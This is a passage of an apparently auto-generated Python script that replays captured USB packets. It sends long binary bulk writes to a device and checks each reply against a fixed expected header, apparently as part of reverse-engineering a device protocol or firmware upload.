from packet 1261/1262\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x17\\x81\\xD0\\x41\\x2D\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEA\\x24\\xC5\\x05\\x8C\\xE2\\x51\\x56\"\n b\"\\x65\\x9C\\x34\\xB7\\x91\\x99\\xDD\\x95\\xBE\\xB5\\xED\\xDF\\xD8\\xDA\\xAE\\xF0\"\n b\"\\x11\\xC4\\x37\\x39\\x22\\x21\\xB8\\x5A\\xE0\\x65\\x02\\xC0\\x65\\x03\\x8C\\x39\"\n b\"\\xC1\\xEF\\x15\\x2E\\x44\\x24\\x9A\\x8E\\x11\\x5B\\xB4\\x40\\x71\\x50\\x94\\x48\"\n b\"\\x81\\x25\\xE6\\x12\\x70\\xDB\\x87\\x87\\x66\\x31\\x35\\x6A\\x02\\x57\\xB4\\x7A\"\n b\"\\xAF\\xFB\\x54\\x70\\x62\\x4E\\xC7\\x2D\\x36\\x82\\xE2\\xD5\\x30\\x5B\\xB3\\x46\"\n b\"\\x00\\x76\\x4C\\x96\\x0B\\x33\\x10\\xA2\\x13\\xDE\\x17\\xC1\\x8E\\xCF\\x36\\x45\"\n b\"\\x16\\x00\\xB7\\x49\\x65\\x58\\x44\\x2D\\x8A\\x67\\xB3\\xD5\\xC0\\x3E\\x70\\x50\"\n b\"\\x66\\x6C\\x95\\x18\\x38\\x5C\\xE8\\xD1\\xCB\\x40\\x00\\xDF\\x77\\x2F\\xBA\\x24\"\n b\"\\x7D\\xD7\\x17\\xD2\\x6F\\xEC\\xDF\\x28\\xB9\\x37\\x13\\x10\\x86\\x3D\\x04\\xAF\"\n b\"\\x7F\\xF4\\x5D\\x00\\xA5\\xBC\\x4B\\x9D\\xE4\\x85\\x96\\x78\\x71\\xFB\\x22\\x06\"\n b\"\\xDC\\xA4\\xBF\\xB6\\x86\\x32\\xF2\\xB1\\x52\\xCD\\xCD\\x1B\\x37\\x0C\\x97\\x59\"\n b\"\\xAB\\x1F\\xE0\\x2D\\x0A\\xE1\\xA8\\xE4\\x0E\\x05\\xB1\\x66\\x51\\xB1\\x3B\\xCC\"\n b\"\\x1C\\x45\\x8D\\x8C\\x55\\xA4\\x1A\\xDB\\x6B\\x00\\x03\\x9E\\xAD\\x2B\\xB8\\x8A\"\n b\"\\xD9\\xA5\\x3F\\x22\\x71\\x24\\x5B\\x06\\x52\\x5E\\xEF\\x7B\\xBD\\x75\\xA2\\xFF\"\n b\"\\xB2\\xAC\\x99\\x6E\\x9B\\xED\\xF1\\xFF\\x79\\x8E\\x75\\x99\\x2E\\x63\\x4A\\x8E\"\n b\"\\xA9\\x5A\\x26\\xF5\\x40\\x6F\\x93\\xF0\\x6F\\xAF\\x0A\\xAF\")\n # Generated from packet 1263/1264\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1263/1264\")\n # Generated from packet 1265/1266\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x52\\x8B\\x77\\xD0\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE5\\xD9\\xA7\\x15\\x67\\x80\\xB9\\xA2\"\n b\"\\xEC\\x1C\\x61\\xE5\\x3B\\xFA\\xB1\\xEA\\x4F\\x40\\x3B\\xD3\\x0B\\x9A\\x54\\x38\"\n b\"\\x68\\x7B\\xC6\\x98\\xA8\\xDF\\x0A\\x7A\\xCC\\xFE\\x3A\\x36\\xE6\\x9D\\x5D\\x9E\"\n b\"\\xD8\\x97\\x74\\x01\\xB2\\xC8\\xCD\\x5C\\x18\\xDB\\x42\\x98\\x09\\xBB\\x8A\\x8C\"\n b\"\\xF2\\x97\\xD4\\xF1\\xCD\\x1C\\xEE\\x74\\x77\\x25\\x97\\xB2\\x1C\\x63\\x67\\x3E\"\n b\"\\x86\\x8A\\x07\\xA9\\xEE\\x9B\\x2B\\xCF\\xA1\\x53\\xD9\\x27\\x7F\\xED\\x8B\\xCF\"\n b\"\\x12\\x45\\x9F\\x25\\x1E\\xA3\\x67\\x37\\xB2\\xA3\\xF6\\xDC\\xBA\\x7B\\x72\\x92\"\n b\"\\x14\\xEE\\x8D\\x7E\\xF8\\x9A\\xA8\\x9C\\xAA\\xCB\\x33\\x42\\xD8\\x7A\\x52\\x1A\"\n b\"\\x4B\\x43\\x40\\xD2\\xF4\\xA3\\xA5\\xA9\\xB4\\x3E\\xB4\\xED\\xE4\\x5B\\x8B\\x70\"\n b\"\\xFE\\x02\\x92\\xBD\\x17\\x2D\\x76\\xFC\\x00\\xC4\\xC5\\xB2\\xE9\\x11\\x59\\x76\"\n b\"\\x08\\x99\\xCB\\xD0\\x4B\\x12\\x1D\\x0E\\x0D\\x69\\x3B\\xA9\\x54\\x35\\x2B\\x32\"\n b\"\\xAD\\xB8\\x95\\x98\\x76\\x55\\x63\\x0E\\xA4\\xE6\\x28\\x98\\xFD\\x6C\\x89\\x3E\"\n b\"\\x93\\xE9\\x18\\x3D\\xE5\\x9B\\xE9\\x0E\\x57\\x3A\\x4E\\x8E\\xBC\\x72\\x67\\x93\"\n b\"\\x64\\x4D\\x25\\x7A\\x80\\x58\\xCD\\xFA\\x55\\xB2\\x8A\\xA0\\xE9\\x2D\\xB2\\x70\"\n b\"\\x6A\\x48\\x0D\\x73\\xE0\\xF1\\x44\\xB8\\xF4\\x71\\x94\\x3C\\xC7\\x4D\\x12\\x2C\"\n b\"\\x8F\\xDC\\x7A\\x5A\\x7B\\xBE\\xC6\\xE2\\x06\\xA3\\xCE\\x9D\\xEF\\xDA\\xCB\\xC8\"\n b\"\\x61\\x14\\xDA\\xEE\\xAF\\x7E\\x12\\x05\\x1E\\x3D\\x0E\\x73\")\n # Generated from packet 1267/1268\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1267/1268\")\n # Generated from packet 1269/1270\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\xF6\\x84\\xA1\\xC2\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\xF5\\x54\\xF2\\x01\\xD3\\x60\\xEA\"\n b\"\\x59\\x3C\\xA6\\xC5\\x9A\\xA5\\x7D\\x66\\xDA\\x29\\x2C\\xAD\\x1B\\xC0\\xE0\\x10\"\n b\"\\x8D\\x1E\\x0D\\x1A\\x2C\\xDC\\x66\\x2B\\xCE\\x47\\x98\\x72\\xA4\\x3B\\xAE\\xD1\"\n b\"\\x69\\xCD\\xCF\\x9D\\x80\\x91\\x97\\x8E\\xA1\\x16\\xB3\\x40\\x35\\xD1\\x63\\xB1\"\n b\"\\x87\\x3C\\xDC\\x13\\x8B\\x4A\\x68\\x89\\xFD\\x09\\x79\\xED\\xB6\\x53\\x1F\\x77\"\n b\"\\x29\\x5B\\xD6\\x49\\x26\\x74\\xC6\\x69\\x6A\\x8B\\xB6\\x9B\\xAA\\x52\\xF5\\x3A\"\n b\"\\xF2\\x03\\x87\\xC8\\x0C\\x11\\x7D\\x22\\x1D\\xD3\\x47\\xE2\\x18\\xBC\\xBF\\x9F\"\n b\"\\xBD\\x33\\x37\\x42\\x8F\\x36\\x3B\\x4B\\x7F\\xD5\\x03\\x3E\\x1F\\x61\\xEA\\xEA\"\n b\"\\x66\\x3B\\xB6\\xF7\\x17\\xAA\\xC0\\xF5\\x45\\x67\\x2A\\xAE\\x24\\x82\\x8F\\x5B\"\n b\"\\x35\\x5B\\xBC\\x9A\\xE0\\x8B\\x49\\x14\\xA2\\xA8\\xA1\\x76\\xA7\\x85\\x20\\xDF\"\n b\"\\x82\\x99\\xAD\\xAD\\x35\\x20\\x07\\xAF\\x02\\xE7\\x18\\x8B\\xCA\\xB0\\x35\\xBD\"\n b\"\\xF0\\x53\\xB2\\xEE\\x32\\x98\\xAC\\x8E\\x2F\\x34\\xC2\\xE0\\x75\\xDA\\xC6\\x29\"\n b\"\\x45\\x06\\x30\\x9F\\xAF\\x66\\x2A\\x00\\xBE\\x4B\\xCD\\xA2\\xC2\\x70\\x01\\x0B\"\n b\"\\xA9\\xDF\\xA4\\xB2\\xC6\\xBE\\xA3\\x8A\\x45\\x48\\x04\\x09\\x7B\\x68\\xEE\\xEC\"\n b\"\\x6C\\xA6\\x4F\\x34\\xCD\\x5C\\x4C\\x66\\x6A\\x46\\xC8\\xEB\\x1A\\xC9\\x51\\x0D\"\n b\"\\x82\\xF1\\x4D\\xF3\\x86\\xAD\\xDA\\x33\\x9F\\xDB\\xD7\\xA5\\x87\\xB1\\x1C\\x7B\"\n b\"\\xB3\\x86\\x16\\x6B\\x5F\\x16\\x0E\\x2B\\xEA\\x92\\xFC\\x5E\")\n # Generated from packet 1271/1272\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1271/1272\")\n # Generated from packet 1273/1274\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF2\\x16\\x13\\x64\\xC9\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x3C\\x39\\x86\\x69\\xE9\\x89\\xED\"\n b\"\\xF7\\xEC\\x0A\\x8A\\xC5\\x21\\x69\\xF1\\x76\\xE3\\x18\\xE4\\xB9\\x81\\x29\\x0B\"\n b\"\\xFF\\x62\\xDA\\x88\\x21\\x47\\x11\\xFB\\xCC\\x6F\\xCE\\xB3\\x48\\xE7\\xF8\\xE2\"\n b\"\\x8F\\x69\\x1F\\xAE\\x4F\\x09\\x8A\\x14\\xB3\\xAF\\x20\\xD7\\x48\\x95\\x6F\\x2A\"\n b\"\\xFF\\x6F\\xA1\\x76\\xC3\\x68\\x5E\\xB2\\x61\\xD4\\x78\\x85\\xFF\\xFD\\x1C\\x1D\"\n b\"\\xB3\\x79\\x4B\\x77\\x96\\xF9\\xDE\\x69\\x37\\xC6\\xCE\\x4B\\x99\\xDE\\x1D\\xAB\"\n b\"\\x7B\\xC0\\x52\\x92\\xE4\\x41\\xC3\\xDD\\xB1\\xAB\\x48\\x46\\x10\\x67\\xF2\\x9A\"\n b\"\\x61\\xC6\\x3E\\xF1\\xC5\\x77\\xD3\\x7A\\x33\\x22\\x3B\\x8F\\x1D\\xBC\\x77\\x3A\"\n b\"\\x3F\\x39\\x52\\x98\\x52\\x43\\xF9\\x77\\x20\\x62\\x6F\\x61\\x85\\xD7\\x30\\x0F\"\n b\"\\x5F\\x61\\xB7\\xB2\\x14\\x73\\xC2\\xD3\\x28\\xBE\\xE2\\x08\\x4B\\x04\\x05\\x71\"\n b\"\\xD9\\xA8\\x44\\x8E\\xA1\\xDB\\xAF\\x64\\xF6\\x5A\\x44\\xBD\\x62\\xDD\\x7C\\x12\"\n b\"\\xEB\\x88\\x30\\xBD\\x75\\xA8\\xC7\\x7E\\x97\\x87\\xE0\\x24\\xFE\\xA7\\xBC\\xBE\"\n b\"\\xC2\\xBC\\x86\\xDD\\x2D\\x84\\x32\\x8B\\x7E\\x54\\x26\\x7F\\x53\\xFB\\x59\\xBE\"\n b\"\\x7D\\x3B\\x1D\\xD3\\xD8\\x1F\\xC8\\x6D\\xEE\\xC7\\xED\\x64\\xB2\\xC6\\xE6\\x4D\"\n b\"\\x49\\xEA\\x2E\\x34\\x9D\\x75\\x5C\\x4C\\x61\\xFE\\x62\\x6D\\xDD\\x10\\xAC\\xEA\"\n b\"\\xF1\\x87\\xC1\\x82\\x29\\x31\\xAE\\x73\\xA7\\xB5\\x1E\\x33\\xDA\\x25\\xDA\\xB3\"\n b\"\\xAB\\x8B\\x2D\\x1A\\xB7\\xE5\\xCC\\xE4\\xFC\\x84\\xCE\\x6B\")\n # Generated from packet 1275/1276\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1275/1276\")\n # Generated from packet 1277/1278\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x7C\\xCA\\x89\\xCD\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xB0\\xDF\\xEF\\xF8\\x54\\x3B\\x25\"\n b\"\\xCF\\x9A\\xAC\\xAA\\xEB\\x52\\x35\\x3F\\x0A\\x1A\\xD9\\x1C\\x57\\x77\\xBB\\x12\"\n b\"\\xD3\\xCA\\x0A\\x54\\x74\\xE8\\x90\\xAC\\x5C\\xAD\\x9A\\xA7\\xAF\\x3A\\xCD\\x3B\"\n b\"\\x7C\\xEC\\xA1\\xF0\\xD6\\x67\\xC5\\x04\\xEE\\x64\\x2B\\xDE\\x11\\x3B\\x42\\x9E\"\n b\"\\x49\\x3E\\xCA\\x93\\x23\\x3C\\x6F\\x37\\xC6\\x0C\\x2E\\xD1\\xD0\\x54\\xA2\\x21\"\n b\"\\xF7\\x50\\xA1\\xF8\\x58\\xC0\\xDE\\x87\\x2A\\x64\\x97\\xD2\\xBF\\xC5\\x65\\x36\"\n b\"\\x45\\x6C\\xC7\\x20\\x9E\\x05\\xA4\\x5E\\x8C\\x21\\x49\\x74\\x2C\\x2F\\x45\\x16\"\n b\"\\x4C\\xF9\\x1A\\x7D\\x1D\\xDB\\x08\\xAD\\x23\\xDF\\x9F\\xCD\\xE4\\x4C\\xB2\\x90\"\n b\"\\x56\\xB5\\x13\\xCD\\x08\\x9C\\x5A\\x00\\xFB\\xC5\\xF7\\x7E\\x6E\\xDD\\x9E\\x66\"\n b\"\\xE1\\xD5\\x86\\x3A\\x09\\x33\\xD7\\x1D\\x34\\x38\\x5E\\xCC\\xA3\\xF6\\xDE\\xC2\"\n b\"\\x59\\x4A\\xF2\\x25\\xA0\\x35\\x13\\xFC\\x90\\x04\\x7D\\x52\\x16\\x13\\x88\\x06\"\n b\"\\x34\\xD1\\x7D\\x0C\\x46\\xDE\\x23\\x4E\\x30\\xDF\\x7F\\xDA\\x58\\x01\\x76\\xAC\"\n b\"\\xB9\\x23\\xCD\\x6C\\x35\\xEE\\x5E\\xEE\\x1F\\x29\\x28\\xD0\\xB9\\x42\\xC2\\x9E\"\n b\"\\xC4\\x9A\\x99\\xDD\\x63\\x53\\x78\\xEE\\xA9\\xE6\\xEE\\x2C\\xC3\\x34\\x38\\xE0\"\n b\"\\xE7\\xA2\\x90\\x05\\x45\\xDB\\xB7\\x3B\\x69\\x7E\\xF7\\x73\\xC1\\x86\\x45\\x7A\"\n b\"\\x30\\xAC\\x84\\x64\\xAA\\xEE\\x00\\xF0\\x0A\\xE5\\x80\\xDA\\xBD\\xB6\\xB1\\x3A\"\n b\"\\x87\\xA2\\x00\\x7A\\x6D\\x2F\\x7D\\x97\\x41\\x99\\x63\\x93\")\n # Generated from packet 1279/1280\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1279/1280\")\n # Generated from packet 1281/1282\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\x63\\x09\\x6F\\x68\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x09\\xA2\\xF4\\x8D\\x4A\\x99\\x30\"\n b\"\\xDA\\xF4\\x94\\x86\\xB0\\x63\\xE7\\xEC\\xFF\\xC6\\x72\\x2E\\xE6\\x09\\x49\\x5B\"\n b\"\\x7C\\x9A\\xF7\\xD5\\xBB\\x75\\x42\\xD2\\xBA\\x22\\x12\\x3A\\x43\\xA4\\x3E\\x02\"\n b\"\\x76\\x13\\x7D\\x7B\\x7F\\xBB\\x39\\xD7\\x99\\x43\\xC6\\x70\\xD8\\xD2\\x45\\xC9\"\n b\"\\x17\\xE0\\x01\\x53\\xE5\\x65\\x32\\x6F\\xD1\\xDB\\x2E\\xD0\\xB4\\x50\\xB2\\x52\"\n b\"\\x94\\x09\\xB8\\x27\\x11\\xB3\\x97\\xB6\\xD4\\x1A\\x92\\xDD\\x51\\x60\\x6E\\x29\"\n b\"\\x9F\\x2E\\x6C\\x22\\x0B\\xEA\\x77\\x7B\\xAC\\x24\\x5A\\x74\\x2F\\xB4\\xF4\\x91\"\n b\"\\x8D\\x76\\xD6\\x50\\xDD\\x77\\x7B\\x14\\xF4\\x08\\xD4\\xA7\\x44\\x35\\x7D\\xA2\"\n b\"\\x64\\xC1\\xDF\\x4C\\xE4\\xB8\\x9B\\x07\\x31\\x7D\\xF3\\x77\\x31\\x8C\\xA4\\x30\"\n b\"\\x8C\\x88\\x7E\\x56\\x0B\\x79\\x88\\x75\\x9B\\x23\\x7A\\x5B\\x78\\x2E\\x3B\\x2C\"\n b\"\\xDA\\x67\\xE8\\x71\\x93\\xDB\\x6E\\x0C\\x3D\\xB3\\x52\\x1E\\x66\\x5F\\x64\\x29\"\n b\"\\x00\\x37\\x5C\\x80\\xFE\\x31\\xB2\\x30\\x76\\x00\\x70\\xD2\\xA6\\x49\\xA2\\x68\"\n b\"\\x2F\\xFC\\xE5\\x4B\\x14\\xBA\\x85\\x3D\\x9D\\xF0\\x1F\\x48\\x54\\xBC\\x1D\\x76\"\n b\"\\x45\\xE6\\x4A\\x10\\x7F\\x1C\\xE8\\x25\\x83\\xF7\\xB3\\xA6\\xC3\\xA2\\x69\\x6E\"\n b\"\\x34\\xD4\\x70\\xBB\\xD5\\xB7\\xBD\\x28\\x56\\xDF\\x71\\x2A\\x2E\\x4D\\xF9\\x9A\"\n b\"\\x0A\\x3D\\x00\\x1B\\x44\\x70\\x37\\xD9\\x83\\xAC\\x59\\x8C\\x17\\x58\\xAF\\xA4\"\n b\"\\x3E\\x70\\x5D\\x87\\x16\\xDA\\xE8\\x77\\x96\\x65\\x7F\\x60\")\n # Generated from packet 1283/1284\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1283/1284\")\n # Generated from packet 1285/1286\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB0\\x7D\\x61\\x9F\\xD4\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x6D\\x89\\xAC\\xC9\\xA8\\x19\\x74\"\n b\"\\x8A\\xAC\\x4C\\xF5\\x21\\x9A\\x09\\xE9\\x64\\x8F\\x00\\xAE\\xAB\\x19\\xF8\\xB0\"\n b\"\\x39\\xE5\\x03\\x8E\\x73\\x13\\xFF\\x0E\\x6B\\x46\\xFF\\xC2\\x5F\\xB1\\xF3\\x90\"\n b\"\\xC2\\x8A\\x90\\xEE\\x3F\\x2C\\xF5\\xB2\\x9C\\x09\\x6A\\x15\\x74\\x13\\x1F\\x77\"\n b\"\\xEB\\x1B\\xD6\\x49\\x9A\\x3C\\xAA\\xE1\\x96\\x56\\x75\\x8A\\x4E\\xD3\\xD6\\x56\"\n b\"\\x53\\x2B\\xD7\\x72\\x6E\\x51\\x69\\x12\\xB8\\x93\\x3F\\x02\\xC2\\x8C\\xA7\\xAA\"\n b\"\\x6D\\xD4\\xF7\\x02\\x4E\\x9E\\xE5\\x8D\\x68\\xAA\\x57\\x3E\\xCC\\x21\\x8E\\x60\"\n b\"\\xE0\\x59\\xBB\\xD7\\xE7\\xE5\\x68\\x67\\xE7\\x0C\\x45\\x07\\x02\\x7D\\xF5\\x30\"\n b\"\\x7B\\x2B\\x1C\\x67\\x66\\x46\\x6B\\x69\\x40\\xB3\\x05\\x71\\x5C\\xA6\\x00\\x13\"\n b\"\\x02\\x39\\x3B\\x70\\x74\\x24\\x58\\x65\\x00\\x66\\xCE\\x7F\\x28\\xF4\\x77\\x4D\"\n b\"\\xF2\\x4B\\xF2\\x06\\x76\\xCD\\xF0\\x87\\xFF\\x0C\\xA1\\xF8\\xE6\\x0C\\x18\\xC8\"\n b\"\\x07\\x3E\\x30\\x93\\x1C\\x76\\xF7\\x7C\\xCA\\x6A\\x8C\\x25\\x4E\\x39\\x4D\\x1E\"\n b\"\\x28\\xFA\\x06\\xE5\\x65\\xE8\\x4D\\xF4\\x39\\xD5\\x52\\x24\\x69\\xFC\\x5E\\x24\"\n b\"\\x6E\\x7F\\xFA\\x4C\\x90\\xE2\\xBC\\x8C\\x69\\x8B\\xB8\\x17\\x89\\x25\\xD3\\xA4\"\n b\"\\x96\\x72\\xBA\\x57\\x54\\xBF\\xB6\\x13\\xEF\\xA1\\x2A\\xBF\\x09\\x98\\x3D\\x3E\"\n b\"\\xB2\\x4C\\x83\\xFA\\x77\\xD6\\x07\\xE3\\xDF\\x44\\x2B\\x14\\x5B\\xAD\\x1E\\x53\"\n b\"\\xED\\x83\\x99\\x38\\xBD\\xF4\\x5C\\x73\\xDC\\xB8\\x8C\\x7C\")\n # Generated from packet 1287/1288\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1287/1288\")\n # Generated from packet 1289/1290\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x05\\xD0\\x2A\\xFF\\x49\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5E\\x43\\x2B\\xDF\\x42\\x0E\\xC0\\x32\"\n b\"\\xDF\\x12\\x90\\xD7\\x2E\\x6B\\xBF\\xF0\\xC5\\x35\\x6A\\xC1\\x5F\\x85\\xB6\\xC5\"\n b\"\\x17\\xD1\\xA1\\x90\\xC8\\xEF\\xD8\\x0F\\x70\\x1F\\x40\\x71\\x04\\xBF\\x65\\x26\"\n b\"\\xB7\\x3D\\x05\\xAF\\xC3\\x15\\xF4\\x21\\x62\\x0C\\xE3\\x76\\x0E\\x95\\xA3\\x86\"\n b\"\\x6D\\x05\\x1E\\x4C\\x23\\x31\\xB8\\x9C\\xFD\\x2F\\xD7\\x5C\\xBF\\x14\\x30\\x08\"\n b\"\\x1B\\xB0\\xA7\\xCD\\xC2\\xC5\\xB8\\x47\\x58\\x45\\x31\\x47\\xB2\\xE1\\xC3\\x68\"\n b\"\\xFC\\x57\\xC2\\xF6\\x1D\\x39\\x77\\x45\\x3B\\x96\\x55\\xBB\\x9A\\x9E\\xF3\\x30\"\n b\"\\x33\\xD7\\x66\\x05\\xCA\\xE8\\x5D\\x0A\\x04\\xED\\x15\\x25\\xD3\\xA6\\x14\\xA4\"\n b\"\\xA7\\x19\\x6C\\xD1\\xC7\\xD7\\xF5\\x46\\x64\\x96\\xD7\\x72\\x7C\\x32\\xB5\\x3E\"\n b\"\\xF4\\x2E\\x8D\\x20\\x57\\x30\\x6E\\x06\\x16\\x2D\\x94\\xCC\\x47\\x5D\\x55\\xAE\"\n b\"\\xA0\\xB1\\xA9\\x6A\\x9D\\x5E\\x9C\\x9A\\x20\\xB9\\x7F\\xB0\\x54\\x2D\\xA1\\x7A\"\n b\"\\x04\\xDB\\x7F\\xD8\\x0B\\x0D\\x5C\\x44\\x6E\\x37\\x38\\x73\\x1E\\x5E\\xCD\\x8B\"\n b\"\\xB3\\x9C\\xE1\\x14\\x80\\xD6\\x08\\xC8\\xC7\\x48\\x5B\\xCC\\x78\\x71\\x3B\\x82\"\n b\"\\x1F\\x13\\xA7\\xFA\\x9F\\x68\\x9B\\x16\\x35\\x8C\\xCE\\x8B\\x17\\xCF\\x17\\x99\"\n b\"\\x8B\\xEB\\x16\\x1E\\xC8\\x36\\x44\\x6D\\x94\\x84\\xB9\\xC7\\x88\\xB5\\xDA\\x91\"\n b\"\\xD2\\x74\\xC3\\x4F\\x5E\\xC7\\x7E\\x67\\x43\\x3E\\xB2\\xE0\\x4D\\xE3\\x02\\x9B\"\n b\"\\x7D\\x50\\xAE\\xC0\\x23\\x7A\\x1A\\xAD\\x82\\x8E\\xF3\\x13\")\n # Generated from packet 1291/1292\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1291/1292\")\n # Generated from packet 1293/1294\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x72\\x67\\x19\\x84\\x6A\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x5F\\x58\\x84\\xBF\\xDC\\x88\\xE5\"\n b\"\\x27\\x90\\xC6\\x1E\\x52\\x84\\x0B\\x4D\\x24\\x47\\x97\\x25\\x0B\\xE0\\x7F\\x93\"\n b\"\\xC7\\x08\\xA8\\xD1\\xD0\\x0A\\x7F\\xFD\\x1D\\xB9\\x5D\\x84\\x17\\xC1\\x5C\\x19\"\n b\"\\x78\\x3F\\xB2\\x72\\x42\\x03\\xBF\\x5B\\x4D\\x0E\\xBD\\x2F\\x53\\xCB\\x33\\x61\"\n b\"\\xC1\\x0C\\x1B\\x3D\\x73\\x26\\x36\\x77\\xA4\\xF8\\x1A\\x8F\\x96\\xCC\\x59\\xB5\"\n b\"\\x18\\xE4\\x1D\\xD9\\xC4\\x8E\\x00\\x4D\\x4E\\x1B\\xE1\\xF5\\x75\\x7A\\x3C\\x64\"\n b\"\\x08\\xB7\\x1E\\x80\\x2D\\x45\\x56\\x60\\xFF\\x6B\\x51\\xEA\\xF0\\xB0\\x16\\x0D\"\n b\"\\xD2\\x78\\x8C\\x40\\x75\\x82\\xE6\\x67\\x8C\\xE4\\xD1\\x04\\x16\\x34\\xDE\\x1A\"\n b\"\\x18\\x47\\xE7\\x8B\\x49\\x31\\xCB\\xDC\\xED\\x19\\xEB\\xD9\\xBD\\xC2\\x47\\x89\"\n b\"\\xA4\\xE3\\x50\\x84\\x52\\xF5\\x99\\xD6\\x42\\xFB\\xC9\\x12\\xE8\\xE4\\x9B\\x09\"\n b\"\\x28\\x9D\\xEB\\xF2\\x8E\\x95\\xDA\\xDF\\x72\\xD9\\xC0\\x28\\xF8\\x15\\x31\\x8B\"\n b\"\\xCB\\x75\\x84\\x25\\xC5\\xB7\\x72\\xAB\\xAC\\x41\\xB2\\xC6\\x07\\xB0\\xFE\\x82\"\n b\"\\x8E\\x3A\\xBB\\xE4\\xB1\\xB2\\xE6\\x6E\\xC6\\x62\\xD6\\xFE\\xE0\\x38\\x49\\xD5\"\n b\"\\x13\\xFA\\x6F\\xE1\\x10\\xFC\\x96\\x53\\x1B\\x96\\x9B\\x85\\xD4\\x09\\x07\\x68\"\n b\"\\x3C\\xFE\\xBD\\x12\\xA5\\xEA\\x0F\\x56\\xA5\\x5B\\xE1\\xD2\\x4D\\x35\\x55\\xF2\"\n b\"\\x8C\\x0A\\xD9\\x27\\x2B\\x1E\\x24\\x54\\xB9\\x19\\xAF\\xE1\\x23\\x80\\x2E\\xE2\"\n b\"\\x97\\x36\\xDF\\x28\\x16\\xCC\\x39\\x22\\x6E\\x60\\x80\\x4A\")\n # Generated from packet 1295/1296\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1295/1296\")\n # Generated from packet 1297/1298\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA9\\xF6\\xEC\\x7B\\x79\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x87\\x5A\\xAB\\xB3\\xB2\\x49\\x85\\xF8\"\n b\"\\x05\\xBE\\x13\\x10\\x0A\\x76\\x2F\\x8E\\xA5\\xC7\\xF9\\xCE\\x0B\\xBA\\x1F\\x9D\"\n b\"\\x9B\\xD2\\x98\\xF8\\x17\\x80\\x22\\x66\\x9A\\x9B\\xA1\\x6C\\xDF\\xA0\\x02\\x04\"\n b\"\\x2D\\x1C\\x5D\\x1B\\xBD\\x93\\x46\\x0F\\xC5\\x82\\xBD\\xFB\\x92\\x02\\xB4\\x86\"\n b\"\\x4A\\xF8\\x64\\x10\\x2D\\xC4\\xDD\\x6C\\x2F\\x4C\\xD7\\x7A\\x54\\xA7\\xA7\\xFA\"\n b\"\\x87\\x69\\x8D\\x06\\xC7\\x3A\\x3A\\x0A\\x51\\x06\\xBB\\x23\\x34\\xDD\\xC5\\xF2\"\n b\"\\x84\\x1E\\xA0\\xBA\\xDF\\x0B\\xCB\\x87\\xDD\\x3D\\x99\\x78\\xD2\\x5E\\x9A\\xD6\"\n b\"\\xD3\\xAF\\x38\\x2F\\xB8\\xBC\\xDC\\x1C\\x0D\\xF7\\x52\\xC7\\x7E\\xF4\\x68\\xCF\"\n b\"\\x2C\\xF6\\xFE\\x5D\\x20\\x10\\x1A\\x2F\\x0B\\x38\\x02\\x14\\x2B\\x62\\xE7\\xCB\"\n b\"\\xAC\\xD1\\x44\\xA6\\x1F\\xAD\\xBB\\xF7\\x93\\xB1\\x81\\x8F\\x7D\\x65\\x71\\xD9\"\n b\"\\xC5\\x05\\x5C\\xFA\\x60\\x2D\\x26\\x9C\\xEE\\xC1\\x88\\x09\\xD1\\x48\\x70\\x10\"\n b\"\\x31\\x6E\\xD0\\x7F\\x56\\xB7\\x56\\xA5\\x0B\\xC4\\x19\\x73\\x1F\\x34\\xB6\\xDB\"\n 